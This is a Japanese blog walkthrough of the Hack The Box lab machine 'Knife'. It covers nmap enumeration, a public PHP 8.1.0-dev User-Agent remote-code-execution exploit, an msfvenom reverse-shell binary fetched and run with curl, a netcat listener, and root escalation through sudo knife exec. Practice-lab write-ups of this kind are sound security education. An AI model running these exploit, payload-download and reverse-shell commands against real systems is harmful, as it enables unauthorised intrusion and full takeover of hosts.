HTB: Knife Writeup

Hack The Box: Knifeのwriteup。

1時間足らずでサクッと掌握できた。

以下はnmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 07:43 EST
Nmap scan report for 10.129.234.130
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.27 seconds

22番ポート (SSH)と80番ポート (HTTP)が開いていた。

標的IPにブラウザでアクセスしてみたところ、以下の簡易的なwebサイトが表示された。

上記のwebサイトを簡単にチェックしてみたが、特に見るべきものは無そうだった。

サーバーのHTTPレスポンスヘッダーを確認したところ、PHP 8.1.0-devが使用されていることが判明。

└─$ curl -I http://$RHOST
HTTP/1.1 200 OK
Date: Sun, 02 Feb 2025 12:53:26 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

PHP 8.1.0-devには遠隔コード実行の脆弱性があるらしい。User-Agentに任意のコマンドを埋め込んで実行できる模様。

searchsploitでエクスプロイト (php/webapps/49933.py)をコピーして実行したところ、標的マシンとシェルを張ることが出来た。

└─$ python3 49933.py                              
Enter the full host url:
http://10.129.234.130/

Interactive shell is opened on http://10.129.234.130/ 
Can't acces tty; job crontol turned off.
$ whoami
james

$ id
uid=1000(james) gid=1000(james) groups=1000(james)

$ hostname
knife

一般ユーザーのフラグ/home/james/user.txtを入手。

$ ls -la /home/james
total 40
drwxr-xr-x 5 james james 4096 May 18  2021 .
drwxr-xr-x 3 root  root  4096 May  6  2021 ..
lrwxrwxrwx 1 james james    9 May 10  2021 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Feb 25  2020 .bashrc
drwx------ 2 james james 4096 May  6  2021 .cache
drwxrwxr-x 3 james james 4096 May  6  2021 .local
-rw-r--r-- 1 james james  807 Feb 25  2020 .profile
-rw-rw-r-- 1 james james   66 May  7  2021 .selected_editor
drwx------ 2 james james 4096 May 18  2021 .ssh
-r-------- 1 james james   33 Feb  2 12:42 user.txt

続いて権限昇格だが、その前に別途リバースシェルを仕込むことにした。(エクスプロイトによって起動したシェルだとディレクトリの移動ができなかったため)

攻撃マシンにてリバースシェルを作成し、Python HTTPサーバーを起動。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.174 LPORT=53 -f elf > shell64-nonstaged.elf
python3 -m http.server 80

標的マシンにリバースシェルを仕込んで実行。

curl http://10.10.16.174/shell64-nonstaged.elf -o /home/james/shell64-nonstaged.elf; chmod +x /home/james/shell64-nonstaged.elf; /home/james/shell64-nonstaged.elf

新たにリバースシェルのセッションが起動して、ディレクトリの移動ができるようになった。

## shell established

└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.234.130] 44140
id
uid=1000(james) gid=1000(james) groups=1000(james)
whoami
james

## spawn TTY shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
james@knife:/$ pwd
pwd
/
james@knife:/$ cd /home/
cd /home/
james@knife:/home$ pwd
pwd
/home

さて、改めて権限昇格である。

列挙したところ、カレントユーザーjames/usr/bin/knifeをsudoオプション付きで実行できることが判明した。

james@knife:/home/james$ sudo -l
sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

knifeコマンドをsudoオプション付きで実行できる場合、以下のコマンドでシェルを高権限で起動できる模様。

sudo knife exec -E 'exec "/bin/sh"'

上記のコマンドで、シェルをrootユーザーの権限で起動することが出来た。

james@knife:/home/james$ sudo knife exec -E 'exec "/bin/sh"'
sudo knife exec -E 'exec "/bin/sh"'
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root

rootユーザーのフラグ/root/root.txtを入手。

# ls /root
ls /root
delete.sh  root.txt  snap

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.